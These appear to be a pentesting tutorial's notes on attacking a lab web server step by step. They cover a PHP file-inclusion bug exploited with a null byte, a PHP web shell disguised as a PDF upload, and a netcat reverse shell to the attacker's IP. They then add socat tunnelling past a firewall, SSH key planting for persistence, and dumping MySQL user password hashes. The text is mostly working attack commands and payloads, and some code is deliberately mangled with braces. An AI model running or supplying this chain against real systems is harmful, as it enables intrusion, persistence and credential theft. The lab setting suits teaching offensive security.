Web App Pentesting File Include & Post Exploitation

-Determine php include vulnerabilities on server

nikto -h http://192.168.87.135

-Test php include
http://192.168.87.135/index.php?page=%2Fetc%2Fshadow

-Error tell us no file in current directory, and that .php was passed
-We need to nullify the .php aspect, and only pass the command (this doesn’t work past 5.3.4)

-So let's modify:
http://192.168.87.135/index.php?page=%2Fetc%2Fshadow

-Add shadow%00 to remove .php command

http://192.168.87.135/index.php?page=%2Fetc%2Fpasswd%00

-Upload file using call to papers
-Check the extension and content on uploading…. Can only upload PDF

-Open PDF file- take a look at header, duplicate this in our code
-Server interprets file as PDF, but it's really php

-I can't add brackets to the description of the video, I've replaced them with "{" & "}"... please check the video to correct this when creating the php code:
%PDF-1.4
{?php
System($_GET["cmd"]);
?}

-Post exploitation
-Grab shell with File include

-Kali: nc -l -p 5412
-Vuln: nc 192.168.87.164 5412 –e /bin/bash

http://192.168.87.135/index.php?page=uploads%2Fshell.pdf%00&cmd=nc+192.168.87.164+5412+-e+%2Fbin%2Fbash

-Want to grab SSH, but firewalled = use socat
Ssh 192.168.87.135

sudo apt-get install socat (download socat on Vuln machine)

-Attacker cmd:
socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr
-443 will listen for vuln server to connect
-2222 will listen for us to connect (which passes to remote servers redirect)

-Vuln cmd:
while true; do socat TCP4:192.168.87.146:443 TCP4:127.0.0.1:22; done
-Kill the loop once you don't needs redirection anymore

-SSH to remote host (on Kali)
ssh localhost -p 2222

id (on vuln system)
-Don't know www-data's password

ssh-keygen -N test123 -f vulnerable (on Kali)
mkdir ~www-data/.ssh (on Vuln)

-Change from "}}" to brackets: Please check video for code
echo "value" }} ~www-data/.ssh/authorized_keys

-Login via ssh with shell
ssh localhost -p 2222 -l www-data -i vulnerable

-Associate local host port 13306 with remote port 3306
ssh localhost -p 2222 -l www-data -i vulnerable -L 13306:localhost:3306

-Access remote database info
mysql -h localhost -u root -P 13306
show databases;
set mysql;
show tables;
show columns from user;
select host, user, password from user;